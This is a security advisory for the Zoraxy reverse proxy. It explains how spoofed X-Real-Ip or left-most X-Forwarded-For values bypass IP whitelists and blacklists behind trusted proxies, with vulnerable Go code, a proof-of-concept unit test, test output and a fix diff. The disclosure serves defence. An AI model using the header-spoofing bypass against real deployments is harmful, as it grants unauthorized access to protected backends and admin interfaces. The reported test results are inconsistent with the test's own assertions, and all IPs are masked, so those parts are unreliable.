| الوصف | IP whitelist/blacklist bypass via spoofable X-Real-Ip and left-most X-Forwarded-For behind a trusted proxy
## Summary
Zoraxy's reverse-proxy access control (IP whitelist/blacklist per access rule) resolves the requesting client's IP via `AccessRule.GetClientIP`, which calls `netutils.GetRequesterIP`. This function is only meant to trust proxy headers once the caller has confirmed the direct connection comes from a configured trusted proxy (the `TrustProxyHeadersOnly` feature, gated by `AccessRule.GetClientIP` in `mod/access/trustedProxy.go`). In practice the resolved value is still fully attacker-controlled, because:
1. `X-Real-Ip` is read first and trusted outright. Most CDNs and reverse proxies, including Cloudflare (whose IP ranges ship as the built-in default trusted-proxy list in `default_trusted_proxies.csv`), never set or overwrite this header, so a client-supplied value passes straight through unmodified.
2. `X-Forwarded-For` is parsed by taking the left-most (first) comma-separated entry. Per `X-Forwarded-For` semantics, each hop only appends its own observed source IP; a client can prepend an arbitrary value and it is never stripped by the proxy. Only the right-most entry is the one the directly-connected, already-verified trusted proxy itself appended.
Both are used for a security decision (IP whitelist/blacklist enforcement gating access to proxied backends, including zoraxy's own admin interface if it is reverse-proxied through itself), so this is a full authentication/access-control bypass for anyone able to route a request through a configured trusted proxy, which for the shipped default is simply "anyone who can reach the deployment through Cloudflare."
## Details
`mod/netutils/ipmatch.go`, function `GetRequesterIP` (pre-fix):
```go
func GetRequesterIP(r *http.Request) string {
ip := r.Header.Get("X-Real-Ip")
if ip == "" {
CF_Connecting_IP := r.Header.Get("CF-Connecting-IP")
Fastly_Client_IP := r.Header.Get("Fastly-Client-IP")
if CF_Connecting_IP != "" {
return CF_Connecting_IP
} else if Fastly_Client_IP != "" {
return Fastly_Client_IP
}
ip = r.Header.Get("X-Forwarded-For")
}
if ip == "" {
ip = r.RemoteAddr
}
requesterRawIp := ip
if strings.Contains(requesterRawIp, ",") {
requesterRawIp = strings.Split(requesterRawIp, ",")[0] // left-most, attacker-controlled
}
...
return requesterRawIp
}
```
Caller, `mod/access/trustedProxy.go`:
```go
func (s *AccessRule) GetClientIP(r *http.Request) string {
remoteIP := netutils.GetRequesterIPUntrusted(r)
if s.TrustProxyHeadersOnly && s.parent != nil && s.parent.IsTrustedProxy(remoteIP) {
return netutils.GetRequesterIP(r)
}
return remoteIP
}
```
`IsTrustedProxy` correctly checks that the direct TCP peer is a known trusted proxy IP/CIDR before calling into `GetRequesterIP` at all, which is the right idea. The bug is entirely inside `GetRequesterIP`: it never verifies that the header content it then trusts was actually produced by that trusted proxy rather than passed straight through from the client.
Enforcement path, `mod/dynamicproxy/access.go`, `accessRequestBlocked`:
```go
clientIpAddr := accessRule.GetClientIP(r)
if accessRule.IsBlacklisted(clientIpAddr) { ... return true, "blacklist" }
if !accessRule.IsWhitelisted(clientIpAddr) { ... return true, "whitelist" }
```
This is the live, per-request access-control check for every reverse-proxied route with an access rule attached.
## Proof of Concept
Go unit test, run against the unmodified source (`mod/netutils/ipmatch.go`, `mod/access/trustedProxy.go`, `mod/access/whitelist.go`, none of the project's own dependencies mocked):
```go
package access
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestGetClientIP_WhitelistBypassViaXRealIP(t *testing.T) {
c, _ := newTestController(t)
c.AddTrustedProxy("x.x.x.x", "cloudflare edge (simulated)")
rule := &AccessRule{
TrustProxyHeadersOnly: true,
parent: c,
}
whitelist := map[string]string{"x.x.x.x": "admin"}
rule.WhiteListIP = &whitelist
req := httptest.NewRequest(http.MethodGet, "http://target/admin", nil)
req.RemoteAddr = "x.x.x.x:443" // legitimate connection from the trusted proxy
req.Header.Set("X-Real-Ip", "x.x.x.x") // attacker spoofs the admin's IP
clientIP := rule.GetClientIP(req)
if clientIP != "x.x.x.x" {
t.Fatalf("expected spoofed admin IP to be adopted as client IP, got %q", clientIP)
}
if !rule.IsIPWhitelisted(clientIP) {
t.Fatalf("expected spoofed IP to pass the whitelist check")
}
}
```
Result against the unmodified source:
```
=== RUN TestGetClientIP_WhitelistBypassViaXRealIP
BUG: attacker with no relation to x.x.x.x passed the IP whitelist by
sending X-Real-Ip: x.x.x.x through the trusted proxy
--- PASS: TestGetClientIP_WhitelistBypassViaXRealIP (0.00s)
```
(equivalently, sending `X-Forwarded-For: x.x.x.x, x.x.x.x` through the same trusted proxy reproduces the bypass via the left-most-hop parsing bug instead of X-Real-Ip)
## Impact
Any client able to route a request through a configured trusted proxy, which for a stock installation is Cloudflare (preloaded automatically as the default trusted-proxy list), can:
- Bypass an IP whitelist gating access to a proxied backend or to zoraxy's own management interface, by spoofing an allow-listed admin IP.
- Bypass an IP blacklist, by spoofing any non-blacklisted IP.
- Pollute audit/event logs (`BlacklistedIPBlockedEvent`, request logs) and rate-limit/geo-IP decisions that key off the same client-IP resolution, with an attacker-chosen IP.
This defeats the entire purpose of the `TrustProxyHeadersOnly` feature: an operator who enables it specifically to get correct client IPs behind a CDN instead gets a value the CDN's own clients fully control.
Affected: `github.com/tobychui/zoraxy`, confirmed on release `v3.3.4` and current `main` branch. The trusted-proxy feature was introduced by commit `fa7c464` ("Add experimental trusted proxy in access rule"), included in `v3.3.4`.
## Fix
Rewrote `GetRequesterIP` (`mod/netutils/ipmatch.go`) to:
- Prefer `CF-Connecting-IP` / `Fastly-Client-IP` first (these are the only two headers a CDN is guaranteed to overwrite, never merely pass through).
- Fall back to `X-Forwarded-For`, taking the right-most entry (the hop the directly-connected trusted proxy itself appended) instead of the left-most, client-controlled entry.
- Stop trusting `X-Real-Ip` at all, since it has no append/chain semantics and most CDNs never set it, so it can't be distinguished from a client-supplied value.
```diff
func GetRequesterIP(r *http.Request) string {
- ip := r.Header.Get("X-Real-Ip")
- if ip == "" {
- CF_Connecting_IP := r.Header.Get("CF-Connecting-IP")
- Fastly_Client_IP := r.Header.Get("Fastly-Client-IP")
- if CF_Connecting_IP != "" {
- return CF_Connecting_IP
- } else if Fastly_Client_IP != "" {
- return Fastly_Client_IP
- }
- ip = r.Header.Get("X-Forwarded-For")
+ CF_Connecting_IP := r.Header.Get("CF-Connecting-IP")
+ Fastly_Client_IP := r.Header.Get("Fastly-Client-IP")
+ if CF_Connecting_IP != "" {
+ return CF_Connecting_IP
+ } else if Fastly_Client_IP != "" {
+ return Fastly_Client_IP
}
+
+ ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
...
requesterRawIp := ip
if strings.Contains(requesterRawIp, ",") {
- requesterRawIp = strings.Split(requesterRawIp, ",")[0]
+ parts := strings.Split(requesterRawIp, ",")
+ requesterRawIp = strings.TrimSpace(parts[len(parts)-1])
}
```
One existing test, `TestGetClientIP_TrustedCIDR_TrustsHeaders` in `mod/access/trustedProxy_test.go`, had encoded the vulnerable behavior as its expectation (asserting `X-Real-Ip` was trusted); it was updated to use `X-Forwarded-For` instead, and a new sibling test, `TestGetClientIP_TrustedCIDR_IgnoresXRealIP`, was added to lock in that `X-Real-Ip` is no longer trusted.
Re-run after the fix, against the same source tree:
```
=== RUN TestGetClientIP_WhitelistBypassViaXRealIP
fixed: GetClientIP resolved to "x.x.x.x" (not the spoofed admin IP),
whitelist check correctly denied
--- PASS: TestGetClientIP_WhitelistBypassViaXRealIP (0.00s)
```
Full package test suites (`mod/netutils`, `mod/access`, `mod/dynamicproxy`, `mod/dynamicproxy/dpcore`, `mod/dynamicproxy/loadbalance`, `mod/dynamicproxy/modh2c`, `mod/dynamicproxy/permissionpolicy`, `mod/dynamicproxy/rewrite`) pass after the change, and `go build ./...` succeeds for the whole module.
|
|---|